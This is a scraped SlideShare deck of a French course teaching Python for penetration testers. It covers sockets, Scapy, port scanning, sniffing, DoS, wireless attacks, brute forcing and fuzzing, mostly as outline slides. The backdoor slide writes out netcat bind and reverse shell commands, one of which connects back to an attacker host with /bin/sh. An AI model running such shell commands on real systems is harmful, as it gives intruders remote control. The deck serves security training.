SlideShare une entreprise Scribd logo
1  sur  183
Télécharger pour lire hors ligne
Formation
Python pour
les Pentesteurs
Une formation
Hamza KONDAH
Une formation
Pourquoi Python ?
Implémentation
Python pour la sécurité
Plan de la formation
Public concerné
Prérequis
Plan
Une formation
Pourquoi Python ?
Open Source
Multi-Platform
Riche en Librairies
Outils open source
HLL Prototyping rapide
Une formation
Implémentation
Une formation
Python pour la sécurité
Librairies
Prototyping rapide (POC)
Outils disponibles
Communauté
Syntaxe
Une formation
Plan de la formation
Introduction
1. Notions de base en Python
2. La sécurité des réseaux
3. Le Web et Python
4. Développement d’exploits et Python
5. Analyse de malware et Python
6. Forensics en Python
Conclusion
Une formation
Public concerné
Responsables de la sécurité des SI
Auditeurs en sécurité
Une formation
Prérequis
Avoir des bases en sécurité des SI
Connaître le fonctionnement des réseaux
Comprendre le fonctionnement du
protocole HTTP
Avoir des bases théoriques en cryptographie
Préparation des éléments
du Lab
Une formation
Hamza KONDAH
Une formation
Introduction
Eléments du Lab
Lab : Mise en Place du Lab
Plan
Une formation
Introduction
Création en 1989
Python 2.x en 2000
Python 3.x en 2008
Pas de post-compatibilité
Focalisation sur la version 2.7
Support généralisé pour la version 3.7
Une formation
Pourquoi Python ?
Open Source
Multi-Platform
Riche en Librairies
Outils open source
HLL Prototyping rapide
Une formation
Pourquoi Python ?
Open Source
Multi-Platform
Riche en Librairies
Outils open source
HLL Prototyping rapide
Merci
Comprendre les notions
de base de Python
Une formation
Hamza KONDAH
Une formation
Rappel rapide
VirtualEnv
Lab : Notions de bases
Plan
Une formation
Rappel rapide
Hello World
Script
Console
Basculement entre versions
VirtualEnv
Une formation
VirtualEnv
Cumule de plusieurs projets
Problème de compatibilité
Mises à jour et Versions
Environnement virtuel
Isolation vis-à-vis de l’Os
Une formation
VirtualEnv
Une formation
Lab : Notions de base
Merci
Maîtriser l'essentiel
du Python
Une formation
Hamza KONDAH
Une formation
Objets et références
Types de données
L’Unicode
Méthodes String
Formatage de String
Les Nombres
Plan
Une formation
Objets et Références
Variable ObjetRéférence
Une formation
Implémentation
Une formation
L’Unicode
Internationalisation
Variable = ‘’ Alphorm ‘’
Conversion
Str (Variable)
Unicode
(Variable)
Une formation
Méthodes String
String.find () String.Replace () String.Split ()
String.digits () String.Lowercase ()
Une formation
Formatage de String
Une formation
Les Nombres
Gestion traditionnelle
Opérateurs
*,**,-,+,/ &,^,| and, not, or, xor
Une formation
Les Nombres
Merci
Structures de données en
Python
Une formation
Hamza KONDAH
Une formation
Les listes
Les tuples
Les ensembles
Les dictionnaires
Plan
Une formation
Les listes
Une formation
Les Tuples
Informations = (‘’Hello‘’,10,R,0)
Une formation
Les ensembles
A
A∩B
B
A∩B∩C
(A∩C) /B (B∩C )/A
C
Une formation
Les Dictionnaires
‘a’
‘c’
‘g’
‘hamza’
‘hack’
‘gamma’
-Clé- -Valeur-
dictionnaire
Merci
Une formation
Python pour la sécurité
Librairies
Prototyping rapide (POC)
Outils disponibles
Communauté
Syntaxe
Une formation
Définition
Lab: Les Fonctions
Plan
Une formation
Définition
Section(s) du code
Groupage
Meilleure exploitation
Premier pas vers la modularité
def function name ( parameters )
function_instruction
return [expression]
Une formation
Lab : Les Fonctions
Merci
Les Classes et Objets
Une formation
Hamza KONDAH
Une formation
Introduction
L’Héritage
Lab : Classes et Objets
Plan
Une formation
Introduction
Def__init__
(self,inp1,inp2):
• Self.a=inp1
• Self.b=inp2
Def somme (self)
:
• Return self.a+self.b
Def multi(self):
• Return self.a*self.b
Class Calculatrice
Une formation
L’Héritage
Def power (self) :
• Return pow(self.a,self.b
Class CalculatriceScientifique(Calculatrice)
Une formation
Plan de la formation
Introduction
1. Notions de base en Python
2. La sécurité des réseaux
3. Le Web et Python
4. Développement d’exploits et Python
5. Analyse de malware et Python
6. Forensics en Python
Conclusion
Merci
La gestion des exceptions
Une formation
Hamza KONDAH
Une formation
Définition
Syntaxe
Lab : Gestion des exceptions
Plan
Une formation
Définition
Gestion élégante des exceptions
« Une exception est un mécanisme
d’interruption du programme utilisé
pour signaler que quelque chose
d’anormal est en train de se produire »
Une formation
Syntaxe
def votre_super_fonction(param):
if param not in (1, 2, 3):
raise ValueError("'param' can only be either 1, 2 or
3") # reste du code
>> votre_super_fonction(4)
Traceback (most recent call last): File "<ipython-input-3-
bcd6e8653c83>", line 1, in <module>
votre_super_fonction(4)
File "<ipython-input-2-46fc7cd18c42>", line 3, in
votre_super_fonction
raise ValueError("'param' can only be either 1, 2 or 3")
ValueError: 'param' can only be either 1, 2 or 3
try:
# lignes qui peuvent
# lever une exception
except NomException:
# faire un truc si l'exception se déclenche
Une formation
Lab : Gestion des exceptions
Merci
Modules et Packages
en Python
Une formation
Hamza KONDAH
Une formation
Public concerné
Responsables de la sécurité des SI
Auditeurs en sécurité
Une formation
Les modules en Python
Organisation de code
Classes, fonctions et variables
Importation de modules
Importation de fonctions
Une formation
Les packages en Python
Gestion hiérarchique
Fichiers et répertoires
Structure organisée du code
Modules et sous packages
Une formation
Lab : Modules et Packages
Merci
Gérer les processus en Python
Une formation
Hamza KONDAH
Une formation
Introduction
Gestion des exécutions
Lab : Gestion des processus
Plan
Une formation
Introduction
Bibliothèque standard
Programmation parallèle
Instruction de codes
Une formation
Gestion des exécutions
Création et gestion des files
Les threads reçoivent les instructions
Les threads exécutent les tâches
Tous les threads finissent une fois que
la file est vide
Une formation
Lab : Gestion des processus
Merci
Une formation
Prérequis
Avoir des bases en sécurité des SI
Connaître le fonctionnement des réseaux
Comprendre le fonctionnement du
protocole HTTP
Avoir des bases théoriques en cryptographie
Une formation
Introduction
Bases en sécurité des réseaux
Plan
Une formation
Introduction
Evolution des menaces
Complexité des situations
Nécessité de modeler ses propres
outils
Test d’intrusion
Langages complexes
Python La clé de voute ☺
Une formation
L’intégrité
S'assurer que l'information n'est pas
modifiée ou falsifiée par des parties
non autorisées
Utilisateur
Man in the middle
Serveur
X
Une formation
Disponibilité
S’assurer de la disponibilité
de l’information et services
Utilisateur
Serveur
Une formation
L’authentification
S'assurer que l'identité d'un
individu est vérifiée par le système
ou le service
Utilisateur non
autorisé
Serveur
Utilisateur autorisé
Une formation
Non-répudiation
S'assurer qu'une partie dans une
communication ne peut pas nier l'envoi
du message
Utilisateur autorisé Serveur
Transfert de fond : 500
L’utilisateur nie le transfert
Une formation
La confidentialité
S'assurer que l'information n'est
pas divulguée aux parties non
autorisées
Utilisateur
Man in the middle
Serveur
X
Merci
Une formation
DNS – Fonctionnement
Le protocole TCP
TCP : 3-Way handshake
UDP
IPv6
ICMP
ARP
Plan
Une formation
DNS - fonctionnement
Une formation
Le protocole TCP
Transmission Control Protocol
Orienté connexion
Fiable
Transport
Wireshark
Une formation
TCP : 3-way handshake
Le « three way handshake »
Hôte A
10.0.0.2:21
Hôte B
10.0.0.3 :21
Three-Way Handshake
SYN Received
Send SYN ACK
(Seq= 300 Ack= 101 Ctl= SYN , ack )
SYN Received
Etablished
(Seq = 101 Ack = 301 Ctl = ack )
TIMETIME
Une formation
UDP
User Datagram Protcol
Sans Connexion
Pas de contrôle d’erreurs
Transport très simple
TFTP SNMP DHCP
Une formation
IPv6
IPv6 ou IPng
Adressage plus large
Contrôle de données
Sécurité
QoS
Headers
Préparation des éléments
du Lab
Une formation
Hamza KONDAH
Une formation
ARP
Address Resolution Protocol
TCP/IP
Protocole de résolution de nom
Adresse physique
Correspondance
Merci
Comprendre les Sockets
Une formation
Hamza KONDAH
Une formation
Définition
Python et les Sockets
Fonctionnement
Lab : Les Sockets
Plan
Une formation
Définition
Interface ou connecteur réseau
Elément logiciel
Exploitation des services d’un
protocole réseau
Echange d’informations
Une formation
Définition
Une formation
Python et les Sockets
Une formation
Fonctionnement
Une formation
Lab : Les sockets
Merci
Créer une backdoor simple
en python
Une formation
Hamza KONDAH
Une formation
Introduction
Eléments du Lab
Lab : Mise en Place du Lab
Plan
Une formation
Définition
Backdoor
Logiciel malveillant
Format légitime
Prise de contrôle
Porte dérobée
Une formation
Bind Shell
$ nc vulnerable 6667
2 Attacker
$ nc -1 –p 6667 –e/bin/sh
1 Vulnerable
TCP connection to port 667
Une formation
Reverse Shell
$ nc –I –p 80
1 Attacker
$ nc attacker 80 –e/bin/sh
2 Vulnerable
TCP connection to port 80
Une formation
Lab : Les Backdoors
Merci
La programmation
avec Scapy
Une formation
Hamza KONDAH
Une formation
Introduction
Création de paquets
La Couche 2 et 3
Lab : Programmation avec Scapy
Plan
Une formation
Introduction
Création en 1989
Python 2.x en 2000
Python 3.x en 2008
Pas de post-compatibilité
Focalisation sur la version 2.7
Support généralisé pour la version 3.7
Une formation
Création de paquets
Une formation
La couche 2 et 3
Couche 3
Couche 2
sr() sr1()
srp() srp1()
Une formation
Lab : Programmation Scapy
Merci
Comprendre la théorie des
techniques de scanning
Une formation
Hamza KONDAH
Une formation
TCP Full Scan
Stealth Scan
XMAS Scan
ACK Flag Probe Scanning
Idle/IPD Scaning
UDP Scanning
Plan
Une formation
TCP SYN Scan
Une formation
TCP Full Scan
Ce scan permet de détecter un port ouvert en
effectuant un Three-way Handshake
Connexion avec la cible, arrêtée avec un paquet RST
Pas de privilèges
Une formation
Stealth Scan
Effectuer un reset de la connexion TCP
Exploiter cette technique afin de bypasser les règles
du firewall, mécanisme de logging, se cacher …
Processus :
Une formation
XMAS Scan
Envoi de trame TCP à une cible avec des flags
FIN,URG et PUSH
FIN Scan marche juste avec l’implémentation RFC 793
Ne marche pas sur les versions actuelles de Windows
Une formation
ACK Flag Probe Scanning
ACK Probe flag
Le système de filtrage
Pas de réponse Filtré
RST Port non filtré
Une formation
Idle/IPD Scanning
IPID Probe SYN+ACK PACKET
Response : IPID=31337Attacker Zombie
Attacker
Zombie Zombie
Attacker
Target
Target
SYN Packet to port 80 spoofing zombie IP adress
Port is open Port is closed
SYN Packet to port 80 spoofing zombie IP adress
IPID Probe SYN+ACK PACKET
Response : IPID=31339 RST Packet IPID Incremented by
2 Since Step 1 so port 80 must be openAttacker Zombie
Probe ‘ zombie’ IPID again
RST Packet
Une formation
UDP Scanning
Merci
Une formation
Eléments du Lab
Une formation
Introduction
Scapy
Lab : Scanning
Plan
Une formation
Introduction
Ensemble de procédures afin
d’identifier des hôtes, ports et
services dans un réseau
Base pyramidale
Manipulation approfondie
Firewalking
Une formation
Scapy
Libraire Python
Manipulation de paquets réseau
Interception, création, prise
d’empreinte, développement et
analyse
Décodage de paquets
Une formation
Lab : Scanning
Merci
Comprendre le Sniffing
Une formation
Hamza KONDAH
Une formation
Méthodologie
RAW Socket
Scapy
Lab : Le Sniffing
Plan
Une formation
Méthodologie
Une formation
RAW Socket
Manipulation des en-têtes des paquets
à la main
Programmation réseau
Couches TCP/IP
Développement de protocoles
Une formation
RAW Socket
Pas intéressant à utiliser
Implémentation lourde
Existence de plusieurs librairies tierces
Scapy
Puissance à l’état pure
Une formation
Scapy
Une formation
Lab : Le Sniffing
Merci
Les attaques par dénis de
service
Une formation
Hamza KONDAH
Une formation
Introduction
Dénis de service
Dénis de service distribué
Les types attaques DoS
Plan
Une formation
Lab : Mise en place du Lab
Une formation
Dénis de service
Une formation
Dénis de service Distribué
Une formation
Smurf attack
Une formation
SYN Flooding
Merci
Le Protocole DNS
Une formation
Hamza KONDAH
Une formation
Introduction
Enregistrements DNS
NSLOOKUP
Lab : Le protocole DNS
Plan
Une formation
Introduction
Domain Name Service
Translation d’adresse
@IP Domaine
Différents types d’enregistrements
DNSSEC
Une formation
Enregistrements DNS
A AAAA CNAME MX
PTR NS SOA SRV
NAPTR TXT
Une formation
NSLOOKUP
Une formation
Lab : Le protocole DNS
Merci
Merci
Une formation
Le Spoofing
Une formation
Les Attaques DoS
Une formation
MAC Flooding
Une formation
DHCP Starvation
Merci
Attaques sur
les réseaux sans fils
Une formation
Hamza KONDAH
Une formation
Introduction
Lab : Hacking WLAN
Plan
Une formation
Introduction
Analyse des réseaux sans fils
Sniffing
Fonctions de base
Scapy : Notre ami à jamais
Dénis de service
Comprendre les notions
de base de Python
Une formation
Hamza KONDAH
Comprendre les notions
de base de Python
Une formation
Hamza KONDAH
Comprendre les notions
de base de Python
Une formation
Hamza KONDAH
Analyser les fichiers PCAP
Une formation
Hamza KONDAH
Une formation
Les fichiers PCAP
Lab: Les fichiers PCAP
Plan
Une formation
Les fichiers PCAP
Packet Capture
Wireshark, TCP Dump…
Bibliothèque libcap
Analyse post-capture
Efficience
Python ☺
Une formation
Lab : Les fichiers PCAP
Merci
Comprendre le Bruteforcing
Une formation
Hamza KONDAH
Une formation
Introduction
Paramiko
Lab : Le bruteforcing
Plan
Une formation
Rappel rapide
VirtualEnv
Lab : Notions de bases
Plan
Une formation
Paramiko
Création de session SSH & SFTP
Rapide et efficace
Client SSH
Brute Forcing
Une formation
Lab : Le Bruteforcing
Merci
Le Fuzzing
Une formation
Hamza KONDAH
Une formation
Introduction
Lab : Le Fuzzing
Plan
Une formation
Introduction
Identification de vulnérabilités
Buffer Overflow
Web
Données aléatoires
Mémoire
Exécution de code
Une formation
Lab : Fuzzing
Merci
Une formation
Rappel rapide
Hello World
Script
Console
Basculement entre versions
VirtualEnv
Une formation
Bilan
Notions de base
Sécurité des réseaux
Une formation
Prochaine formation
Le web et python
Le développement d’exploits
Le forensique
La cryptographie
Une formation
A Faire
Faire les exercices au niveau des
ressources
Solutions disponibles
Lire ☺
Pratiquez !
Et attendre la deuxième partie
Une formation
Bibliographie
Une formation
Formations à suivre
Merci

Contenu connexe

Tendances

Alphorm.com Formation Security+ 2/2 partie 2
Alphorm.com Formation Security+ 2/2 partie 2Alphorm.com Formation Security+ 2/2 partie 2
Alphorm.com Formation Security+ 2/2 partie 2Alphorm
 
Alphorm.com Formation VMware vSphere 7 : What's New 2/2
Alphorm.com Formation VMware vSphere 7 : What's New 2/2Alphorm.com Formation VMware vSphere 7 : What's New 2/2
Alphorm.com Formation VMware vSphere 7 : What's New 2/2Alphorm
 
Alphorm.com Formation Comprendre la cryptomonnaie
Alphorm.com Formation Comprendre la cryptomonnaieAlphorm.com Formation Comprendre la cryptomonnaie
Alphorm.com Formation Comprendre la cryptomonnaieAlphorm
 
Alphorm.com Formation Docker (2/2) - Administration Avancée
Alphorm.com Formation Docker (2/2) - Administration Avancée Alphorm.com Formation Docker (2/2) - Administration Avancée
Alphorm.com Formation Docker (2/2) - Administration Avancée Alphorm
 
Alphorm.com Formation Splunk : Maitriser les fondamentaux
Alphorm.com Formation Splunk : Maitriser les fondamentauxAlphorm.com Formation Splunk : Maitriser les fondamentaux
Alphorm.com Formation Splunk : Maitriser les fondamentauxAlphorm
 
Alphorm.com Formation hak5 - LAN Turtle et Packet Squirrel
Alphorm.com Formation hak5 - LAN Turtle et Packet SquirrelAlphorm.com Formation hak5 - LAN Turtle et Packet Squirrel
Alphorm.com Formation hak5 - LAN Turtle et Packet SquirrelAlphorm
 
Alphorm.com Formation CEHV9 IV
Alphorm.com Formation CEHV9 IVAlphorm.com Formation CEHV9 IV
Alphorm.com Formation CEHV9 IVAlphorm
 
Alphorm.com Formation CND 2/2: Réussir la certification
Alphorm.com Formation CND 2/2: Réussir la certificationAlphorm.com Formation CND 2/2: Réussir la certification
Alphorm.com Formation CND 2/2: Réussir la certificationAlphorm
 
Alphorm.com Formation pfSense (2/2) Le firewall open source de référence
Alphorm.com Formation pfSense (2/2) Le firewall open source de référenceAlphorm.com Formation pfSense (2/2) Le firewall open source de référence
Alphorm.com Formation pfSense (2/2) Le firewall open source de référenceAlphorm
 
Alphorm.com Formation Logpoint SIEM: Le guide complet
Alphorm.com Formation Logpoint SIEM: Le guide completAlphorm.com Formation Logpoint SIEM: Le guide complet
Alphorm.com Formation Logpoint SIEM: Le guide completAlphorm
 
Alphorm.com Formation CEHV9 III
Alphorm.com Formation CEHV9 IIIAlphorm.com Formation CEHV9 III
Alphorm.com Formation CEHV9 IIIAlphorm
 
Alphorm.com Formation CEHV9 IV- partie 2
Alphorm.com Formation CEHV9 IV- partie 2Alphorm.com Formation CEHV9 IV- partie 2
Alphorm.com Formation CEHV9 IV- partie 2Alphorm
 
Alphorm.com Formation Hacking et Sécurité 2020 (4of4) : Attaques AD et Web
Alphorm.com Formation Hacking et Sécurité 2020 (4of4) : Attaques AD et WebAlphorm.com Formation Hacking et Sécurité 2020 (4of4) : Attaques AD et Web
Alphorm.com Formation Hacking et Sécurité 2020 (4of4) : Attaques AD et WebAlphorm
 
Alphorm.com Formation Elastic : Maitriser les fondamentaux
Alphorm.com Formation Elastic : Maitriser les fondamentauxAlphorm.com Formation Elastic : Maitriser les fondamentaux
Alphorm.com Formation Elastic : Maitriser les fondamentauxAlphorm
 
Alphorm.com Formation Palo Alto : Sécurité avancée
Alphorm.com Formation Palo Alto : Sécurité avancéeAlphorm.com Formation Palo Alto : Sécurité avancée
Alphorm.com Formation Palo Alto : Sécurité avancéeAlphorm
 
Alphorm.com Formation FortiManager : Installation et configuration
Alphorm.com Formation FortiManager : Installation et configurationAlphorm.com Formation FortiManager : Installation et configuration
Alphorm.com Formation FortiManager : Installation et configurationAlphorm
 
Alphorm.com Formation Pentesting avec Metasploit
Alphorm.com Formation Pentesting avec MetasploitAlphorm.com Formation Pentesting avec Metasploit
Alphorm.com Formation Pentesting avec MetasploitAlphorm
 
Alphorm.com Formation SOPHOS XG FIREWALL: Les fondamentaux
Alphorm.com Formation SOPHOS XG FIREWALL: Les fondamentauxAlphorm.com Formation SOPHOS XG FIREWALL: Les fondamentaux
Alphorm.com Formation SOPHOS XG FIREWALL: Les fondamentauxAlphorm
 
Alphorm.com Formation Analyse de Malware 2/2 : Le guide complet
Alphorm.com Formation Analyse de Malware 2/2 : Le guide completAlphorm.com Formation Analyse de Malware 2/2 : Le guide complet
Alphorm.com Formation Analyse de Malware 2/2 : Le guide completAlphorm
 
Alphorm.com Formation Certification NSE4 - Fortinet Fortigate Infrastructure 6.x
Alphorm.com Formation Certification NSE4 - Fortinet Fortigate Infrastructure 6.xAlphorm.com Formation Certification NSE4 - Fortinet Fortigate Infrastructure 6.x
Alphorm.com Formation Certification NSE4 - Fortinet Fortigate Infrastructure 6.xAlphorm
 

Tendances (20)

Alphorm.com Formation Security+ 2/2 partie 2
Alphorm.com Formation Security+ 2/2 partie 2Alphorm.com Formation Security+ 2/2 partie 2
Alphorm.com Formation Security+ 2/2 partie 2
 
Alphorm.com Formation VMware vSphere 7 : What's New 2/2
Alphorm.com Formation VMware vSphere 7 : What's New 2/2Alphorm.com Formation VMware vSphere 7 : What's New 2/2
Alphorm.com Formation VMware vSphere 7 : What's New 2/2
 
Alphorm.com Formation Comprendre la cryptomonnaie
Alphorm.com Formation Comprendre la cryptomonnaieAlphorm.com Formation Comprendre la cryptomonnaie
Alphorm.com Formation Comprendre la cryptomonnaie
 
Alphorm.com Formation Docker (2/2) - Administration Avancée
Alphorm.com Formation Docker (2/2) - Administration Avancée Alphorm.com Formation Docker (2/2) - Administration Avancée
Alphorm.com Formation Docker (2/2) - Administration Avancée
 
Alphorm.com Formation Splunk : Maitriser les fondamentaux
Alphorm.com Formation Splunk : Maitriser les fondamentauxAlphorm.com Formation Splunk : Maitriser les fondamentaux
Alphorm.com Formation Splunk : Maitriser les fondamentaux
 
Alphorm.com Formation hak5 - LAN Turtle et Packet Squirrel
Alphorm.com Formation hak5 - LAN Turtle et Packet SquirrelAlphorm.com Formation hak5 - LAN Turtle et Packet Squirrel
Alphorm.com Formation hak5 - LAN Turtle et Packet Squirrel
 
Alphorm.com Formation CEHV9 IV
Alphorm.com Formation CEHV9 IVAlphorm.com Formation CEHV9 IV
Alphorm.com Formation CEHV9 IV
 
Alphorm.com Formation CND 2/2: Réussir la certification
Alphorm.com Formation CND 2/2: Réussir la certificationAlphorm.com Formation CND 2/2: Réussir la certification
Alphorm.com Formation CND 2/2: Réussir la certification
 
Alphorm.com Formation pfSense (2/2) Le firewall open source de référence
Alphorm.com Formation pfSense (2/2) Le firewall open source de référenceAlphorm.com Formation pfSense (2/2) Le firewall open source de référence
Alphorm.com Formation pfSense (2/2) Le firewall open source de référence
 
Alphorm.com Formation Logpoint SIEM: Le guide complet
Alphorm.com Formation Logpoint SIEM: Le guide completAlphorm.com Formation Logpoint SIEM: Le guide complet
Alphorm.com Formation Logpoint SIEM: Le guide complet
 
Alphorm.com Formation CEHV9 III
Alphorm.com Formation CEHV9 IIIAlphorm.com Formation CEHV9 III
Alphorm.com Formation CEHV9 III
 
Alphorm.com Formation CEHV9 IV- partie 2
Alphorm.com Formation CEHV9 IV- partie 2Alphorm.com Formation CEHV9 IV- partie 2
Alphorm.com Formation CEHV9 IV- partie 2
 
Alphorm.com Formation Hacking et Sécurité 2020 (4of4) : Attaques AD et Web
Alphorm.com Formation Hacking et Sécurité 2020 (4of4) : Attaques AD et WebAlphorm.com Formation Hacking et Sécurité 2020 (4of4) : Attaques AD et Web
Alphorm.com Formation Hacking et Sécurité 2020 (4of4) : Attaques AD et Web
 
Alphorm.com Formation Elastic : Maitriser les fondamentaux
Alphorm.com Formation Elastic : Maitriser les fondamentauxAlphorm.com Formation Elastic : Maitriser les fondamentaux
Alphorm.com Formation Elastic : Maitriser les fondamentaux
 
Alphorm.com Formation Palo Alto : Sécurité avancée
Alphorm.com Formation Palo Alto : Sécurité avancéeAlphorm.com Formation Palo Alto : Sécurité avancée
Alphorm.com Formation Palo Alto : Sécurité avancée
 
Alphorm.com Formation FortiManager : Installation et configuration
Alphorm.com Formation FortiManager : Installation et configurationAlphorm.com Formation FortiManager : Installation et configuration
Alphorm.com Formation FortiManager : Installation et configuration
 
Alphorm.com Formation Pentesting avec Metasploit
Alphorm.com Formation Pentesting avec MetasploitAlphorm.com Formation Pentesting avec Metasploit
Alphorm.com Formation Pentesting avec Metasploit
 
Alphorm.com Formation SOPHOS XG FIREWALL: Les fondamentaux
Alphorm.com Formation SOPHOS XG FIREWALL: Les fondamentauxAlphorm.com Formation SOPHOS XG FIREWALL: Les fondamentaux
Alphorm.com Formation SOPHOS XG FIREWALL: Les fondamentaux
 
Alphorm.com Formation Analyse de Malware 2/2 : Le guide complet
Alphorm.com Formation Analyse de Malware 2/2 : Le guide completAlphorm.com Formation Analyse de Malware 2/2 : Le guide complet
Alphorm.com Formation Analyse de Malware 2/2 : Le guide complet
 
Alphorm.com Formation Certification NSE4 - Fortinet Fortigate Infrastructure 6.x
Alphorm.com Formation Certification NSE4 - Fortinet Fortigate Infrastructure 6.xAlphorm.com Formation Certification NSE4 - Fortinet Fortigate Infrastructure 6.x
Alphorm.com Formation Certification NSE4 - Fortinet Fortigate Infrastructure 6.x
 

Similaire à Alphorm.com Formation Python pour les pentesteurs

Alphorm.com Formation CEHV9 II
Alphorm.com Formation CEHV9 IIAlphorm.com Formation CEHV9 II
Alphorm.com Formation CEHV9 IIAlphorm
 
Alphorm.com Formation Data Science avec Python - Prise en main des IDE
Alphorm.com Formation Data Science avec Python - Prise en main des IDEAlphorm.com Formation Data Science avec Python - Prise en main des IDE
Alphorm.com Formation Data Science avec Python - Prise en main des IDEAlphorm
 
Formation PHP avancé - Cake PHP
Formation PHP avancé - Cake PHPFormation PHP avancé - Cake PHP
Formation PHP avancé - Cake PHPkemenaran
 
Alphorm.com Formation Security+ 1/2
Alphorm.com Formation Security+ 1/2Alphorm.com Formation Security+ 1/2
Alphorm.com Formation Security+ 1/2Alphorm
 
Alphorm.com Formation pfSense: Le firewall open source de référence
Alphorm.com Formation pfSense: Le firewall open source de référenceAlphorm.com Formation pfSense: Le firewall open source de référence
Alphorm.com Formation pfSense: Le firewall open source de référenceAlphorm
 
Alphorm.com Formation hak5 - WiFi Pineapple
Alphorm.com Formation hak5 - WiFi PineappleAlphorm.com Formation hak5 - WiFi Pineapple
Alphorm.com Formation hak5 - WiFi PineappleAlphorm
 
Présentation de Django @ Orange Labs (FR)
Présentation de Django @ Orange Labs (FR)Présentation de Django @ Orange Labs (FR)
Présentation de Django @ Orange Labs (FR)Martin Latrille
 
BBL - TDD pour les DevOps - Puppet
BBL - TDD pour les DevOps - PuppetBBL - TDD pour les DevOps - Puppet
BBL - TDD pour les DevOps - PuppetOlivier BAZOUD
 
20100221 my phingtool - blog
20100221   my phingtool - blog20100221   my phingtool - blog
20100221 my phingtool - blogPHPPRO
 
AlterWay SolutionsLinux Outils Industrialisation PHP
AlterWay SolutionsLinux Outils Industrialisation PHPAlterWay SolutionsLinux Outils Industrialisation PHP
AlterWay SolutionsLinux Outils Industrialisation PHPjulien pauli
 
Pytia formation-python-les-bases-et-perfectionnement
Pytia formation-python-les-bases-et-perfectionnementPytia formation-python-les-bases-et-perfectionnement
Pytia formation-python-les-bases-et-perfectionnementCERTyou Formation
 
Déploiement PHP : de l'âge de pierre à nos jours.
Déploiement PHP : de l'âge de pierre à nos jours.Déploiement PHP : de l'âge de pierre à nos jours.
Déploiement PHP : de l'âge de pierre à nos jours.Amélie DUVERNET
 
Quand Koha rencontre Primo - « Une API comédie »
Quand Koha rencontre Primo - « Une API comédie »Quand Koha rencontre Primo - « Une API comédie »
Quand Koha rencontre Primo - « Une API comédie »Julien Sicot
 
Java 7 - Fork/Join
Java 7 - Fork/JoinJava 7 - Fork/Join
Java 7 - Fork/JoinZenika
 
Du hard et des réseaux: Les outils pour construire l'internet des objets chez...
Du hard et des réseaux: Les outils pour construire l'internet des objets chez...Du hard et des réseaux: Les outils pour construire l'internet des objets chez...
Du hard et des réseaux: Les outils pour construire l'internet des objets chez...Microsoft
 
Annexe1 éTude Comparative Sur Les Moteurs De Recherche
Annexe1   éTude Comparative Sur Les Moteurs De RechercheAnnexe1   éTude Comparative Sur Les Moteurs De Recherche
Annexe1 éTude Comparative Sur Les Moteurs De RechercheMohamed Ben Bouzid
 
Alfresco Meetup - ETL Connector & Talend
Alfresco Meetup - ETL Connector & TalendAlfresco Meetup - ETL Connector & Talend
Alfresco Meetup - ETL Connector & TalendMarc Dutoo
 

Similaire à Alphorm.com Formation Python pour les pentesteurs (20)

Alphorm.com Formation CEHV9 II
Alphorm.com Formation CEHV9 IIAlphorm.com Formation CEHV9 II
Alphorm.com Formation CEHV9 II
 
Alphorm.com Formation Data Science avec Python - Prise en main des IDE
Alphorm.com Formation Data Science avec Python - Prise en main des IDEAlphorm.com Formation Data Science avec Python - Prise en main des IDE
Alphorm.com Formation Data Science avec Python - Prise en main des IDE
 
Formation PHP avancé - Cake PHP
Formation PHP avancé - Cake PHPFormation PHP avancé - Cake PHP
Formation PHP avancé - Cake PHP
 
Alphorm.com Formation Security+ 1/2
Alphorm.com Formation Security+ 1/2Alphorm.com Formation Security+ 1/2
Alphorm.com Formation Security+ 1/2
 
Presentation forum php 2010
Presentation forum php 2010Presentation forum php 2010
Presentation forum php 2010
 
Alphorm.com Formation pfSense: Le firewall open source de référence
Alphorm.com Formation pfSense: Le firewall open source de référenceAlphorm.com Formation pfSense: Le firewall open source de référence
Alphorm.com Formation pfSense: Le firewall open source de référence
 
Alphorm.com Formation hak5 - WiFi Pineapple
Alphorm.com Formation hak5 - WiFi PineappleAlphorm.com Formation hak5 - WiFi Pineapple
Alphorm.com Formation hak5 - WiFi Pineapple
 
Présentation de Django @ Orange Labs (FR)
Présentation de Django @ Orange Labs (FR)Présentation de Django @ Orange Labs (FR)
Présentation de Django @ Orange Labs (FR)
 
EAI
EAIEAI
EAI
 
Multi-Threading Et Cocoa
Multi-Threading Et CocoaMulti-Threading Et Cocoa
Multi-Threading Et Cocoa
 
BBL - TDD pour les DevOps - Puppet
BBL - TDD pour les DevOps - PuppetBBL - TDD pour les DevOps - Puppet
BBL - TDD pour les DevOps - Puppet
 
20100221 my phingtool - blog
20100221   my phingtool - blog20100221   my phingtool - blog
20100221 my phingtool - blog
 
AlterWay SolutionsLinux Outils Industrialisation PHP
AlterWay SolutionsLinux Outils Industrialisation PHPAlterWay SolutionsLinux Outils Industrialisation PHP
AlterWay SolutionsLinux Outils Industrialisation PHP
 
Pytia formation-python-les-bases-et-perfectionnement
Pytia formation-python-les-bases-et-perfectionnementPytia formation-python-les-bases-et-perfectionnement
Pytia formation-python-les-bases-et-perfectionnement
 
Déploiement PHP : de l'âge de pierre à nos jours.
Déploiement PHP : de l'âge de pierre à nos jours.Déploiement PHP : de l'âge de pierre à nos jours.
Déploiement PHP : de l'âge de pierre à nos jours.
 
Quand Koha rencontre Primo - « Une API comédie »
Quand Koha rencontre Primo - « Une API comédie »Quand Koha rencontre Primo - « Une API comédie »
Quand Koha rencontre Primo - « Une API comédie »
 
Java 7 - Fork/Join
Java 7 - Fork/JoinJava 7 - Fork/Join
Java 7 - Fork/Join
 
Du hard et des réseaux: Les outils pour construire l'internet des objets chez...
Du hard et des réseaux: Les outils pour construire l'internet des objets chez...Du hard et des réseaux: Les outils pour construire l'internet des objets chez...
Du hard et des réseaux: Les outils pour construire l'internet des objets chez...
 
Annexe1 éTude Comparative Sur Les Moteurs De Recherche
Annexe1   éTude Comparative Sur Les Moteurs De RechercheAnnexe1   éTude Comparative Sur Les Moteurs De Recherche
Annexe1 éTude Comparative Sur Les Moteurs De Recherche
 
Alfresco Meetup - ETL Connector & Talend
Alfresco Meetup - ETL Connector & TalendAlfresco Meetup - ETL Connector & Talend
Alfresco Meetup - ETL Connector & Talend
 

Plus de Alphorm

Alphorm.com Formation Microsoft 365 (MS-500) : Administrateur Sécurité - Prot...
Alphorm.com Formation Microsoft 365 (MS-500) : Administrateur Sécurité - Prot...Alphorm.com Formation Microsoft 365 (MS-500) : Administrateur Sécurité - Prot...
Alphorm.com Formation Microsoft 365 (MS-500) : Administrateur Sécurité - Prot...Alphorm
 
Alphorm.com Formation Google Sheets : Créer un Tableau de Bord Collaboratif a...
